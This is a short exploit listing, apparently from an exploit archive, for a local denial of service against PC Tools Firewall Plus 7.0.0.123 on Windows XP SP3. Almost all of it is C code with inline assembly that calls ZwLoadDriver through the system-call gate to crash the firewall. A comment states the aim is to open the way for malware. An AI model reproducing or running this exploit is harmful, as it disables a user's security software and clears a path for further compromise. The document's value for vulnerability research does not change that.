PC Tools Firewall Plus 7.0.0.123 Denial Of Service

`/*  
Exploit Title: PC Tools Firewall Plus Local DoS  
Version: 7.0.0.123  
Author: 0in (Maksymilian Motyl)  
Software Link: www.pctools.com  
Tested on: Windows XP SP3  
Vendor was notified 25.06.2012 - No reply  
*/  
  
// After executing this small code, PC Tools Firewall crashes so it opens the way to malware escalation  
#include "stdafx.h"  
#include <Windows.h>  
  
int _tmain(int argc, _TCHAR* argv[])  
{  
for(int i=0;i<512;i++)  
printf(".");  
_asm  
{  
push 0xffffff  
mov eax,61h ; ZwLoadDriver  
mov edx,7FFE0300h ; ntdll.KiFastSystemCall  
call dword ptr ds:[edx]  
  
}  
  
  
return 0;  
}  
  
`